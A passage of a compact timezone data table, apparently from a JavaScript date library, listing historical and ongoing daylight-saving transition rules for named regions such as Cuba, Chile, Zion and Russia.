1 D","1991 1991 8 7 7 0 0 0 S","2006 2006 3 30 7 0 0 1 D","2006 2006 9 1 7 0 0 0 S"],Cuba:["1928 1928 5 10 7 0 0 1 D","1928 1928 9 10 7 0 0 0 S","1940 1942 5 1 0 0 0 1 D","1940 1942 8 1 0 0 0 0 S","1945 1946 5 1 0 0 0 1 D","1945 1946 8 1 0 0 0 0 S","1965 1965 5 1 7 0 0 1 D","1965 1965 8 30 7 0 0 0 S","1966 1966 4 29 7 0 0 1 D","1966 1966 9 2 7 0 0 0 S","1967 1967 3 8 7 0 0 1 D","1967 1968 8 8 0 0 0 0 S","1968 1968 3 14 7 0 0 1 D","1969 1977 3 0 8 0 0 1 D","1969 1971 9 0 8 0 0 0 S","1972 1974 9 8 7 0 0 0 S","1975 1977 9 0 8 0 0 0 S","1978 1978 4 7 7 0 0 1 D","1978 1990 9 8 0 0 0 0 S","1979 1980 2 15 0 0 0 1 D","1981 1985 4 5 0 0 0 1 D","1986 1989 2 14 0 0 0 1 D","1990 1997 3 1 0 0 0 1 D","1991 1995 9 8 0 0 2 0 S","1996 1996 9 6 7 0 2 0 S","1997 1997 9 12 7 0 2 0 S","1998 1999 2 0 8 0 2 1 D","1998 2003 9 0 8 0 2 0 S","2000 2004 3 1 0 0 2 1 D","2006 2010 9 0 8 0 2 0 S","2007 2007 2 8 0 0 2 1 D","2008 2008 2 15 0 0 2 1 D","2009 2010 2 8 0 0 2 1 D","2011 2011 2 15 0 0 2 1 D","2011 2011 10 13 7 0 2 0 S","2012 2012 3 1 7 0 2 1 D","2012 9999 10 1 0 0 2 0 S","2013 9999 2 8 0 0 2 1 D"],Indianapolis:["1941 1941 5 22 7 2 0 1 D","1941 1954 8 0 8 2 0 0 S","1946 1954 3 0 8 2 0 1 D"],Starke:["1947 1961 3 0 8 2 0 1 D","1947 1954 8 0 8 2 0 0 S","1955 1956 9 0 8 2 0 0 S","1957 1958 8 0 8 2 0 0 S","1959 1961 9 0 8 2 0 0 S"],Marengo:["1951 1951 3 0 8 2 0 1 D","1951 1951 8 0 8 2 0 0 S","1954 1960 3 0 8 2 0 1 D","1954 1960 8 0 8 2 0 0 S"],Pike:["1955 1955 4 1 7 0 0 1 D","1955 1960 8 0 8 2 0 0 S","1956 1964 3 0 8 2 0 1 D","1961 1964 9 0 8 2 0 0 S"],Perry:["1946 1946 3 0 8 2 0 1 D","1946 1946 8 0 8 2 0 0 S","1953 1954 3 0 8 2 0 1 D","1953 1959 8 0 8 2 0 0 S","1955 1955 4 1 7 0 0 1 D","1956 1963 3 0 8 2 0 1 D","1960 1960 9 0 8 2 0 0 S","1961 1961 8 0 8 2 0 0 S","1962 1963 9 0 8 2 0 0 S"],Vincennes:["1946 1946 3 0 8 2 0 1 D","1946 1946 8 0 8 2 0 0 S","1953 1954 3 0 8 2 0 1 D","1953 1959 8 0 8 2 0 0 S","1955 1955 4 1 7 0 0 1 D","1956 1963 3 0 8 2 0 1 D","1960 1960 9 0 8 2 0 0 S","1961 1961 8 0 8 2 0 0 S","1962 1963 9 0 8 2 0 0 S"],Pulaski:["1946 1960 3 0 8 2 0 1 D","1946 1954 8 0 8 2 0 0 S","1955 1956 9 0 8 2 0 0 S","1957 1960 8 0 8 2 0 0 S"],Louisville:["1921 1921 4 1 7 2 0 1 D","1921 1921 8 1 7 2 0 0 S","1941 1961 3 0 8 2 0 1 D","1941 1941 8 0 8 2 0 0 S","1946 1946 5 2 7 2 0 0 S","1950 1955 8 0 8 2 0 0 S","1956 1960 9 0 8 2 0 0 S"],Peru:["1938 1938 0 1 7 0 0 1 S","1938 1938 3 1 7 0 0 0","1938 1939 8 0 8 0 0 1 S","1939 1940 2 24 0 0 0 0","1986 1987 0 1 7 0 0 1 S","1986 1987 3 1 7 0 0 0","1990 1990 0 1 7 0 0 1 S","1990 1990 3 1 7 0 0 0","1994 1994 0 1 7 0 0 1 S","1994 1994 3 1 7 0 0 0"],CA:["1948 1948 2 14 7 2 0 1 D","1949 1949 0 1 7 2 0 0 S","1950 1966 3 0 8 2 0 1 D","1950 1961 8 0 8 2 0 0 S","1962 1966 9 0 8 2 0 0 S"],Nic:["1979 1980 2 16 0 0 0 1 D","1979 1980 5 23 1 0 0 0 S","2005 2005 3 10 7 0 0 1 D","2005 2005 9 1 0 0 0 0 S","2006 2006 3 30 7 2 0 1 D","2006 2006 9 1 0 1 0 0 S"],Menominee:["1946 1946 3 0 8 2 0 1 D","1946 1946 8 0 8 2 0 0 S","1966 1966 3 0 8 2 0 1 D","1966 1966 9 0 8 2 0 0 S"],Moncton:["1933 1935 5 8 0 1 0 1 D","1933 1935 8 8 0 1 0 0 S","1936 1938 5 1 0 1 0 1 D","1936 1938 8 1 0 1 0 0 S","1939 1939 4 27 7 1 0 1 D","1939 1941 8 21 6 1 0 0 S","1940 1940 4 19 7 1 0 1 D","1941 1941 4 4 7 1 0 1 D","1946 1972 3 0 8 2 0 1 D","1946 1956 8 0 8 2 0 0 S","1957 1972 9 0 8 2 0 0 S","1993 2006 3 1 0 0:1 0 1 D","1993 2006 9 0 8 0:1 0 0 S"],Uruguay:["1923 1923 9 2 7 0 0 0:30 HS","1924 1926 3 1 7 0 0 0","1924 1925 9 1 7 0 0 0:30 HS","1933 1935 9 0 8 0 0 0:30 HS","1934 1936 2 25 6 23:30 2 0","1936 1936 10 1 7 0 0 0:30 HS","1937 1941 2 0 8 0 0 0","1937 1940 9 0 8 0 0 0:30 HS","1941 1941 7 1 7 0 0 0:30 HS","1942 1942 0 1 7 0 0 0","1942 1942 11 14 7 0 0 1 S","1943 1943 2 14 7 0 0 0","1959 1959 4 24 7 0 0 1 S","1959 1959 10 15 7 0 0 0","1960 1960 0 17 7 0 0 1 S","1960 1960 2 6 7 0 0 0","1965 1967 3 1 0 0 0 1 S","1965 1965 8 26 7 0 0 0","1966 1967 9 31 7 0 0 0","1968 1970 4 27 7 0 0 0:30 HS","1968 1970 11 2 7 0 0 0","1972 1972 3 24 7 0 0 1 S","1972 1972 7 15 7 0 0 0","1974 1974 2 10 7 0 0 0:30 HS","1974 1974 11 22 7 0 0 1 S","1976 1976 9 1 7 0 0 0","1977 1977 11 4 7 0 0 1 S","1978 1978 3 1 7 0 0 0","1979 1979 9 1 7 0 0 1 S","1980 1980 4 1 7 0 0 0","1987 1987 11 14 7 0 0 1 S","1988 1988 2 14 7 0 0 0","1988 1988 11 11 7 0 0 1 S","1989 1989 2 12 7 0 0 0","1989 1989 9 29 7 0 0 1 S","1990 1992 2 1 0 0 0 0","1990 1991 9 21 0 0 0 1 S","1992 1992 9 18 7 0 0 1 S","1993 1993 1 28 7 0 0 0","2004 2004 8 19 7 0 0 1 S","2005 2005 2 27 7 2 0 0","2005 2005 9 9 7 2 0 1 S","2006 2006 2 12 7 2 0 0","2006 9999 9 1 0 2 0 1 S","2007 9999 2 8 0 2 0 0"],Mont:["1917 1917 2 25 7 2 0 1 D","1917 1917 3 24 7 0 0 0 S","1919 1919 2 31 7 2:30 0 1 D","1919 1919 9 25 7 2:30 0 0 S","1920 1920 4 2 7 2:30 0 1 D","1920 1922 9 1 0 2:30 0 0 S","1921 1921 4 1 7 2 0 1 D","1922 1922 3 30 7 2 0 1 D","1924 1924 4 17 7 2 0 1 D","1924 1926 8 0 8 2:30 0 0 S","1925 1926 4 1 0 2 0 1 D","1927 1927 4 1 7 0 0 1 D","1927 1932 8 0 8 0 0 0 S","1928 1931 3 0 8 0 0 1 D","1932 1932 4 1 7 0 0 1 D","1933 1940 3 0 8 0 0 1 D","1933 1933 9 1 7 0 0 0 S","1934 1939 8 0 8 0 0 0 S","1946 1973 3 0 8 2 0 1 D","1945 1948 8 0 8 2 0 0 S","1949 1950 9 0 8 2 0 0 S","1951 1956 8 0 8 2 0 0 S","1957 1973 9 0 8 2 0 0 S"],Bahamas:["1964 1975 9 0 8 2 0 0 S","1964 1975 3 0 8 2 0 1 D"],NYC:["1920 1920 2 0 8 2 0 1 D","1920 1920 9 0 8 2 0 0 S","1921 1966 3 0 8 2 0 1 D","1921 1954 8 0 8 2 0 0 S","1955 1966 9 0 8 2 0 0 S"],Haiti:["1983 1983 4 8 7 0 0 1 D","1984 1987 3 0 8 0 0 1 D","1983 1987 9 0 8 0 0 0 S","1988 1997 3 1 0 1 2 1 D","1988 1997 9 0 8 1 2 0 S","2005 2006 3 1 0 0 0 1 D","2005 2006 9 0 8 0 0 0 S","2012 9999 2 8 0 2 0 1 D","2012 9999 10 1 0 2 0 0 S"],Regina:["1918 1918 3 14 7 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1930 1934 4 1 0 0 0 1 D","1930 1934 9 1 0 0 0 0 S","1937 1941 3 8 0 0 0 1 D","1937 1937 9 8 0 0 0 0 S","1938 1938 9 1 0 0 0 0 S","1939 1941 9 8 0 0 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 0 8 2 0 0 S","1946 1946 3 8 0 2 0 1 D","1946 1946 9 8 0 2 0 0 S","1947 1957 3 0 8 2 0 1 D","1947 1957 8 0 8 2 0 0 S","1959 1959 3 0 8 2 0 1 D","1959 1959 9 0 8 2 0 0 S"],Chile:["1927 1932 8 1 7 0 0 1 S","1928 1932 3 1 7 0 0 0","1942 1942 5 1 7 4 1 0","1942 1942 7 1 7 5 1 1 S","1946 1946 6 15 7 4 1 1 S","1946 1946 8 1 7 3 1 0","1947 1947 3 1 7 4 1 0","1968 1968 10 3 7 4 1 1 S","1969 1969 2 30 7 3 1 0","1969 1969 10 23 7 4 1 1 S","1970 1970 2 29 7 3 1 0","1971 1971 2 14 7 3 1 0","1970 1972 9 9 0 4 1 1 S","1972 1986 2 9 0 3 1 0","1973 1973 8 30 7 4 1 1 S","1974 1987 9 9 0 4 1 1 S","1987 1987 3 12 7 3 1 0","1988 1989 2 9 0 3 1 0","1988 1988 9 1 0 4 1 1 S","1989 1989 9 9 0 4 1 1 S","1990 1990 2 18 7 3 1 0","1990 1990 8 16 7 4 1 1 S","1991 1996 2 9 0 3 1 0","1991 1997 9 9 0 4 1 1 S","1997 1997 2 30 7 3 1 0","1998 1998 2 9 0 3 1 0","1998 1998 8 27 7 4 1 1 S","1999 1999 3 4 7 3 1 0","1999 2010 9 9 0 4 1 1 S","2000 2007 2 9 0 3 1 0","2008 2008 2 30 7 3 1 0","2009 2009 2 9 0 3 1 0","2010 2010 3 1 0 3 1 0","2011 2011 4 2 0 3 1 0","2011 2011 7 16 0 4 1 1 S","2012 9999 3 23 0 3 1 0","2012 9999 8 2 0 4 1 1 S"],DR:["1966 1966 9 30 7 0 0 1 D","1967 1967 1 28 7 0 0 0 S","1969 1973 9 0 8 0 0 0:30 HD","1970 1970 1 21 7 0 0 0 S","1971 1971 0 20 7 0 0 0 S","1972 1974 0 21 7 0 0 0 S"],"C-Eur":["1916 1916 3 30 7 23 0 1 S","1916 1916 9 1 7 1 0 0","1917 1918 3 15 1 2 2 1 S","1917 1918 8 15 1 2 2 0","1940 1940 3 1 7 2 2 1 S","1942 1942 10 2 7 2 2 0","1943 1943 2 29 7 2 2 1 S","1943 1943 9 4 7 2 2 0","1944 1945 3 1 1 2 2 1 S","1944 1944 9 2 7 2 2 0","1945 1945 8 16 7 2 2 0","1977 1980 3 1 0 2 2 1 S","1977 1977 8 0 8 2 2 0","1978 1978 9 1 7 2 2 0","1979 1995 8 0 8 2 2 0","1981 9999 2 0 8 2 2 1 S","1996 9999 9 0 8 2 2 0"],Swift:["1957 1957 3 0 8 2 0 1 D","1957 1957 9 0 8 2 0 0 S","1959 1961 3 0 8 2 0 1 D","1959 1959 9 0 8 2 0 0 S","1960 1961 8 0 8 2 0 0 S"],Hond:["1987 1988 4 1 0 0 0 1 D","1987 1988 8 0 8 0 0 0 S","2006 2006 4 1 0 0 0 1 D","2006 2006 7 1 1 0 0 0 S"],Thule:["1991 1992 2 0 8 2 0 1 D","1991 1992 8 0 8 2 0 0 S","1993 2006 3 1 0 2 0 1 D","1993 2006 9 0 8 2 0 0 S","2007 9999 2 8 0 2 0 1 D","2007 9999 10 1 0 2 0 0 S"],Toronto:["1919 1919 2 30 7 23:30 0 1 D","1919 1919 9 26 7 0 0 0 S","1920 1920 4 2 7 2 0 1 D","1920 1920 8 26 7 0 0 0 S","1921 1921 4 15 7 2 0 1 D","1921 1921 8 15 7 2 0 0 S","1922 1923 4 8 0 2 0 1 D","1922 1926 8 15 0 2 0 0 S","1924 1927 4 1 0 2 0 1 D","1927 1932 8 0 8 2 0 0 S","1928 1931 3 0 8 2 0 1 D","1932 1932 4 1 7 2 0 1 D","1933 1940 3 0 8 2 0 1 D","1933 1933 9 1 7 2 0 0 S","1934 1939 8 0 8 2 0 0 S","1945 1946 8 0 8 2 0 0 S","1946 1946 3 0 8 2 0 1 D","1947 1949 3 0 8 0 0 1 D","1947 1948 8 0 8 0 0 0 S","1949 1949 10 0 8 0 0 0 S","1950 1973 3 0 8 2 0 1 D","1950 1950 10 0 8 2 0 0 S","1951 1956 8 0 8 2 0 0 S","1957 1973 9 0 8 2 0 0 S"],Winn:["1916 1916 3 23 7 0 0 1 D","1916 1916 8 17 7 0 0 0 S","1918 1918 3 14 7 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1937 1937 4 16 7 2 0 1 D","1937 1937 8 26 7 2 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 0 8 2 0 0 S","1946 1946 4 12 7 2 0 1 D","1946 1946 9 13 7 2 0 0 S","1947 1949 3 0 8 2 0 1 D","1947 1949 8 0 8 2 0 0 S","1950 1950 4 1 7 2 0 1 D","1950 1950 8 30 7 2 0 0 S","1951 1960 3 0 8 2 0 1 D","1951 1958 8 0 8 2 0 0 S","1959 1959 9 0 8 2 0 0 S","1960 1960 8 0 8 2 0 0 S","1963 1963 3 0 8 2 0 1 D","1963 1963 8 22 7 2 0 0 S","1966 1986 3 0 8 2 2 1 D","1966 2005 9 0 8 2 2 0 S","1987 2005 3 1 0 2 2 1 D"],Aus:["1917 1917 0 1 7 0:1 0 1","1917 1917 2 25 7 2 0 0","1942 1942 0 1 7 2 0 1","1942 1942 2 29 7 2 0 0","1942 1942 8 27 7 2 0 1","1943 1944 2 0 8 2 0 0","1943 1943 9 3 7 2 0 1"],AT:["1967 1967 9 1 0 2 2 1","1968 1968 2 0 8 2 2 0","1968 1985 9 0 8 2 2 1","1969 1971 2 8 0 2 2 0","1972 1972 1 0 8 2 2 0","1973 1981 2 1 0 2 2 0","1982 1983 2 0 8 2 2 0","1984 1986 2 1 0 2 2 0","1986 1986 9 15 0 2 2 1","1987 1990 2 15 0 2 2 0","1987 1987 9 22 0 2 2 1","1988 1990 9 0 8 2 2 1","1991 1999 9 1 0 2 2 1","1991 2005 2 0 8 2 2 0","2000 2000 7 0 8 2 2 1","2001 9999 9 1 0 2 2 1","2006 2006 3 1 0 2 2 0","2007 2007 2 0 8 2 2 0","2008 9999 3 1 0 2 2 0"],NZAQ:["1974 1974 10 3 7 2 2 1 D","1975 1988 9 0 8 2 2 1 D","1989 1989 9 8 7 2 2 1 D","1990 2006 9 1 0 2 2 1 D","1975 1975 1 23 7 2 2 0 S","1976 1989 2 1 0 2 2 0 S","1990 2007 2 15 0 2 2 0 S","2007 9999 8 0 8 2 2 1 D","2008 9999 3 1 0 2 2 0 S"],ArgAQ:["1964 1966 2 1 7 0 0 0","1964 1966 9 15 7 0 0 1 S","1967 1967 3 2 7 0 0 0","1967 1968 9 1 0 0 0 1 S","1968 1969 3 1 0 0 0 0","1974 1974 0 23 7 0 0 1 S","1974 1974 4 1 7 0 0 0"],ChileAQ:["1972 1986 2 9 0 3 1 0","1974 1987 9 9 0 4 1 1 S","1987 1987 3 12 7 3 1 0","1988 1989 2 9 0 3 1 0","1988 1988 9 1 0 4 1 1 S","1989 1989 9 9 0 4 1 1 S","1990 1990 2 18 7 3 1 0","1990 1990 8 16 7 4 1 1 S","1991 1996 2 9 0 3 1 0","1991 1997 9 9 0 4 1 1 S","1997 1997 2 30 7 3 1 0","1998 1998 2 9 0 3 1 0","1998 1998 8 27 7 4 1 1 S","1999 1999 3 4 7 3 1 0","1999 2010 9 9 0 4 1 1 S","2000 2007 2 9 0 3 1 0","2008 2008 2 30 7 3 1 0","2009 2009 2 9 0 3 1 0","2010 2010 3 1 0 3 1 0","2011 2011 4 2 0 3 1 0","2011 2011 7 16 0 4 1 1 S","2012 9999 3 23 0 3 1 0","2012 9999 8 2 0 4 1 1 S"],Norway:["1916 1916 4 22 7 1 0 1 S","1916 1916 8 30 7 0 0 0","1945 1945 3 2 7 2 2 1 S","1945 1945 9 1 7 2 2 0","1959 1964 2 15 0 2 2 1 S","1959 1965 8 15 0 2 2 0","1965 1965 3 25 7 2 2 1 S"],RussiaAsia:["1981 1984 3 1 7 0 0 1 S","1981 1983 9 1 7 0 0 0","1984 1991 8 0 8 2 2 0","1985 1991 2 0 8 2 2 1 S","1992 1992 2 6 8 23 0 1 S","1992 1992 8 6 8 23 0 0","1993 9999 2 0 8 2 2 1 S","1993 1995 8 0 8 2 2 0","1996 9999 9 0 8 2 2 0"],Jordan:["1973 1973 5 6 7 0 0 1 S","1973 1975 9 1 7 0 0 0","1974 1977 4 1 7 0 0 1 S","1976 1976 10 1 7 0 0 0","1977 1977 9 1 7 0 0 0","1978 1978 3 30 7 0 0 1 S","1978 1978 8 30 7 0 0 0","1985 1985 3 1 7 0 0 1 S","1985 1985 9 1 7 0 0 0","1986 1988 3 1 5 0 0 1 S","1986 1990 9 1 5 0 0 0","1989 1989 4 8 7 0 0 1 S","1990 1990 3 27 7 0 0 1 S","1991 1991 3 17 7 0 0 1 S","1991 1991 8 27 7 0 0 0","1992 1992 3 10 7 0 0 1 S","1992 1993 9 1 5 0 0 0","1993 1998 3 1 5 0 0 1 S","1994 1994 8 15 5 0 0 0","1995 1998 8 15 5 0 2 0","1999 1999 6 1 7 0 2 1 S","1999 2002 8 5 8 0 2 0","2000 2001 2 4 8 0 2 1 S","2002 9999 2 4 8 24 0 1 S","2003 2003 9 24 7 0 2 0","2004 2004 9 15 7 0 2 0","2005 2005 8 5 8 0 2 0","2006 2011 9 5 8 0 2 0","2013 9999 9 5 8 0 2 0"],Russia:["1917 1917 6 1 7 23 0 1 MST","1917 1917 11 28 7 0 0 0 MMT","1918 1918 4 31 7 22 0 2 MDST","1918 1918 8 16 7 1 0 1 MST","1919 1919 4 31 7 23 0 2 MDST","1919 1919 6 1 7 2 0 1 S","1919 1919 7 16 7 0 0 0","1921 1921 1 14 7 23 0 1 S","1921 1921 2 20 7 23 0 2 M","1921 1921 8 1 7 0 0 1 S","1921 1921 9 1 7 0 0 0","1981 1984 3 1 7 0 0 1 S","1981 1983 9 1 7 0 0 0","1984 1991 8 0 8 2 2 0","1985 1991 2 0 8 2 2 1 S","1992 1992 2 6 8 23 0 1 S","1992 1992 8 6 8 23 0 0","1993 2010 2 0 8 2 2 1 S","1993 1995 8 0 8 2 2 0","1996 2010 9 0 8 2 2 0"],Iraq:["1982 1982 4 1 7 0 0 1 D","1982 1984 9 1 7 0 0 0 S","1983 1983 2 31 7 0 0 1 D","1984 1985 3 1 7 0 0 1 D","1985 1990 8 0 8 1 2 0 S","1986 1990 2 0 8 1 2 1 D","1991 2007 3 1 7 3 2 1 D","1991 2007 9 1 7 3 2 0 S"],EUAsia:["1981 9999 2 0 8 1 1 1 S","1979 1995 8 0 8 1 1 0","1996 9999 9 0 8 1 1 0"],Azer:["1997 9999 2 0 8 4 0 1 S","1997 9999 9 0 8 5 0 0"],Lebanon:["1920 1920 2 28 7 0 0 1 S","1920 1920 9 25 7 0 0 0","1921 1921 3 3 7 0 0 1 S","1921 1921 9 3 7 0 0 0","1922 1922 2 26 7 0 0 1 S","1922 1922 9 8 7 0 0 0","1923 1923 3 22 7 0 0 1 S","1923 1923 8 16 7 0 0 0","1957 1961 4 1 7 0 0 1 S","1957 1961 9 1 7 0 0 0","1972 1972 5 22 7 0 0 1 S","1972 1977 9 1 7 0 0 0","1973 1977 4 1 7 0 0 1 S","1978 1978 3 30 7 0 0 1 S","1978 1978 8 30 7 0 0 0","1984 1987 4 1 7 0 0 1 S","1984 1991 9 16 7 0 0 0","1988 1988 5 1 7 0 0 1 S","1989 1989 4 10 7 0 0 1 S","1990 1992 4 1 7 0 0 1 S","1992 1992 9 4 7 0 0 0","1993 9999 2 0 8 0 0 1 S","1993 1998 8 0 8 0 0 0","1999 9999 9 0 8 0 0 0"],Kyrgyz:["1992 1996 3 7 0 0 2 1 S","1992 1996 8 0 8 0 0 0","1997 2005 2 0 8 2:30 0 1 S","1997 2004 9 0 8 2:30 0 0"],Mongol:["1983 1984 3 1 7 0 0 1 S","1983 1983 9 1 7 0 0 0","1985 1998 2 0 8 0 0 1 S","1984 1998 8 0 8 0 0 0","2001 2001 3 6 8 2 0 1 S","2001 2006 8 6 8 2 0 0","2002 2006 2 6 8 2 0 1 S"],PRC:["1986 1986 4 4 7 0 0 1 D","1986 1991 8 11 0 0 0 0 S","1987 1991 3 10 0 0 0 1 D"],Syria:["1920 1923 3 15 0 2 0 1 S","1920 1923 9 1 0 2 0 0","1962 1962 3 29 7 2 0 1 S","1962 1962 9 1 7 2 0 0","1963 1965 4 1 7 2 0 1 S","1963 1963 8 30 7 2 0 0","1964 1964 9 1 7 2 0 0","1965 1965 8 30 7 2 0 0","1966 1966 3 24 7 2 0 1 S","1966 1976 9 1 7 2 0 0","1967 1978 4 1 7 2 0 1 S","1977 1978 8 1 7 2 0 0","1983 1984 3 9 7 2 0 1 S","1983 1984 9 1 7 2 0 0","1986 1986 1 16 7 2 0 1 S","1986 1986 9 9 7 2 0 0","1987 1987 2 1 7 2 0 1 S","1987 1988 9 31 7 2 0 0","1988 1988 2 15 7 2 0 1 S","1989 1989 2 31 7 2 0 1 S","1989 1989 9 1 7 2 0 0","1990 1990 3 1 7 2 0 1 S","1990 1990 8 30 7 2 0 0","1991 1991 3 1 7 0 0 1 S","1991 1992 9 1 7 0 0 0","1992 1992 3 8 7 0 0 1 S","1993 1993 2 26 7 0 0 1 S","1993 1993 8 25 7 0 0 0","1994 1996 3 1 7 0 0 1 S","1994 2005 9 1 7 0 0 0","1997 1998 2 1 8 0 0 1 S","1999 2006 3 1 7 0 0 1 S","2006 2006 8 22 7 0 0 0","2007 2007 2 5 8 0 0 1 S","2007 2007 10 1 5 0 0 0","2008 2008 3 1 5 0 0 1 S","2008 2008 10 1 7 0 0 0","2009 2009 2 5 8 0 0 1 S","2010 2011 3 1 5 0 0 1 S","2012 9999 2 5 8 0 0 1 S","2009 9999 9 5 8 0 0 0"],Dhaka:["2009 2009 5 19 7 23 0 1 S","2009 2009 11 31 7 23:59 0 0"],Zion:["1940 1940 5 1 7 0 0 1 D","1942 1944 10 1 7 0 0 0 S","1943 1943 3 1 7 2 0 1 D","1944 1944 3 1 7 0 0 1 D","1945 1945 3 16 7 0 0 1 D","1945 1945 10 1 7 2 0 0 S","1946 1946 3 16 7 2 0 1 D","1946 1946 10 1 7 0 0 0 S","1948 1948 4 23 7 0 0 2 DD","1948 1948 8 1 7 0 0 1 D","1948 1949 10 1 7 2 0 0 S","1949 1949 4 1 7 0 0 1 D","1950 1950 3 16 7 0 0 1 D","1950 1950 8 15 7 3 0 0 S","1951 1951 3 1 7 0 0 1 D","1951 1951 10 11 7 3 0 0 S","1952 1952 3 20 7 2 0 1 D","1952 1952 9 19 7 3 0 0 S","1953 1953 3 12 7 2 0 1 D","1953 1953 8 13 7 3 0 0 S","1954 1954 5 13 7 0 0 1 D","1954 1954 8 12 7 0 0 0 S","1955 1955 5 11 7 2 0 1 D","1955 1955 8 11 7 0 0 0 S","1956 1956 5 3 7 0 0 1 D","1956 1956 8 30 7 3 0 0 S","1957 1957 3 29 7 2 0 1 D","1957 1957 8 22 7 0 0 0 S","1974 1974 6 7 7 0 0 1 D","1974 1974 9 13 7 0 0 0 S","1975 1975 3 20 7 0 0 1 D","1975 1975 7 31 7 0 0 0 S","1985 1985 3 14 7 0 0 1 D","1985 1985 8 15 7 0 0 0 S","1986 1986 4 18 7 0 0 1 D","1986 1986 8 7 7 0 0 0 S","1987 1987 3 15 7 0 0 1 D","1987 1987 8 13 7 0 0 0 S","1988 1988 3 9 7 0 0 1 D","1988 1988 8 3 7 0 0 0 S","1989 1989 3 30 7 0 0 1 D","1989 1989 8 3 7 0 0 0 S","1990 1990 2 25 7 0 0 1 D","1990 1990 7 26 7 0 0 0 S","1991 1991 2 24 7 0 0 1 D","1991 1991 8 1 7 0 0 0 S","1992 1992 2 29 7 0 0 1 D","1992 1992 8 6 7 0 0 0 S","1993 1993 3 2 7 0 0 1 D","1993 1993 8 5 7 0 0 0 S","1994 1994 3 1 7 0 0 1 D","1994 1994 7 28 7 0 0 0 S","1995 1995 2 31 7 0 0 1 D","1995 1995 8 3 7 0 0 0 S","1996 1996 2 15 7 0 0 1 D","1996 1996 8 16 7 0 0 0 S","1997 1997 2 21 7 0 0 1 D","1997 1997 8 14 7 0 0 0 S","1998 1998 2 20 7 0 0 1 D","1998 1998 8 6 7 0 0 0 S","1999 1999 3 2 7 2 0 1 D","1999 1999 8 3 7 2 0 0 S","2000 2000 3 14 7 2 0 1 D","2000 2000 9 6 7 1 0 0 S","2001 2001 3 9 7 1 0 1 D","2001 2001 8 24 7 1 0 0 S","2002 2002 2 29 7 1 0 1 D","2002 2002 9 7 7 1 0 0 S","2003 2003 2 28 7 1 0 1 D","2003 2003 9 3 7 1 0 0 S","2004 2004 3 7 7 1 0 1 D","2004 2004 8 22 7 1 0 0 S","2005 2005 3 1 7 2 0 1 D","2005 2005 9 9 7 2 0 0 S","2006 2010 2 26 5 2 0 1 D","2006 2006 9 1 7 2 0 0 S","2007 2007 8 16 7 2 0 0 S","2008 2008 9 5 7 2 0 0 S","2009 2009 8 27 7 2 0 0 S","2010 2010 8 12 7 2 0 0 S","2011 2011 3 1 7 2 0 1 D","2011 2011 9 2 7 2 0 0 S","2012 2012 2 26 5 2 0 1 D","2012 2012 8 23 7 2 0 0 S","2013 9999 2 23 5 2 0 1 D","2013 2026 9 2 0 2 0 0 S","2027 2027 9 3 1 2 0 0 S","2028 9999 9 2 0 2 0 0 S"],EgyptAsia:["1957 1957 4 10 7 0 0 1 S","1957 1958 9 1 7 0 0 0","1958 1958 4 1 7 0 0 1 S","1959 1967 4 1 7 1 0 1 S","1959 1965 8 30 7 3 0 0","1966 1966 9 1 7 3 0 0"],Palestine:["1999 2005 3 15 5 0 0 1 S","1999 2003 9 15 5 0 0 0","2004 2004 9 1 7 1 0 0","2005 2005 9 4 7 2 0 0","2006 2007 3 1 7 0 0 1 S","2006 2006 8 22 7 0 0 0","2007 2007 8 8 4 2 0 0","2008 2009 2 5 8 0 0 1 S","2008 2008 8 1 7 0 0 0","2009 2009 8 1 5 1 0 0","2010 2010 2 26 7 0 0 1 S","2010 2010 7 11 7 0 0 0","2011 2011 3 1 7 0:1 0 1 S","2011 2011 7 1 7 0 0 0","2011 2011 7 30 7 0 0 1 S","2011 2011 8 30 7 0 0 0","2012 9999 2 4 8 24 0 1 S","2012 9999 8 21 5 1 0 0"],HK:["1941 1941 3 1 7 3:30 0 1 S","1941 1941 8 30 7 3:30 0 0","1946 1946 3 20 7 3:30 0 1 S","1946 1946 11 1 7 3:30 0 0","1947 1947 3 13 7 3:30 0 1 S","1947 1947 11 30 7 3:30 0 0","1948 1948 4 2 7 3:30 0 1 S","1948 1951 9 0 8 3:30 0 0","1952 1952 9 25 7 3:30 0 0","1949 1953 3 1 0 3:30 0 1 S","1953 1953 10 1 7 3:30 0 0","1954 1964 2 18 0 3:30 0 1 S","1954 1954 9 31 7 3:30 0 0","1955 1964 10 1 0 3:30 0 0","1965 1976 3 16 0 3:30 0 1 S","1965 1976 9 16 0 3:30 0 0","1973 1973 11 30 7 3:30 0 1 S","1979 1979 4 8 0 3:30 0 1 S","1979 1979 9 16 0 3:30 0 0"],Pakistan:["2002 2002 3 2 0 0:1 0 1 S","2002 2002 9 2 0 0:1 0 0","2008 2008 5 1 7 0 0 1 S","2008 2008 10 1 7 0 0 0","2009 2009 3 15 7 0 0 1 S","2009 2009 10 1 7 0 0 0"],NBorneo:["1935 1941 8 14 7 0 0 0:20 TS","1935 1941 11 14 7 0 0 0"],Macau:["1961 1962 2 16 0 3:30 0 1 S","1961 1964 10 1 0 3:30 0 0","1963 1963 2 16 0 0 0 1 S","1964 1964 2 16 0 3:30 0 1 S","1965 1965 2 16 0 0 0 1 S","1965 1965 9 31 7 0 0 0","1966 1971 3 16 0 3:30 0 1 S","1966 1971 9 16 0 3:30 0 0","1972 1974 3 15 0 0 0 1 S","1972 1973 9 15 0 0 0 0","1974 1977 9 15 0 3:30 0 0","1975 1977 3 15 0 3:30 0 1 S","1978 1980 3 15 0 0 0 1 S","1978 1980 9 15 0 0 0 0"],Phil:["1936 1936 10 1 7 0 0 1 S","1937 1937 1 1 7 0 0 0","1954 1954 3 12 7 0 0 1 S","1954 1954 6 1 7 0 0 0","1978 1978 2 22 7 0 0 1 S","1978 1978 8 21 7 0 0 0"],Cyprus:["1975 1975 3 13 7 0 0 1 S","1975 1975 9 12 7 0 0 0","1976 1976 4 15 7 0 0 1 S","1976 1976 9 11 7 0 0 0","1977 1980 3 1 0 0 0 1 S","1977 1977 8 25 7 0 0 0","1978 1978 9 2 7 0 0 0","1979 1997 8 0 8 0 0 0","1981 1998 2 0 8 0 0 1 S"],ROK:["1960 1960 4 15 7 0 0 1 D","1960 1960 8 13 7 0 0 0 S","1987 1988 4 8 0 0 0 1 D","1987 1988 9 8 0 0 0 0 S"],Shang:["1940 1940 5 3 7 0 0 1 D","1940 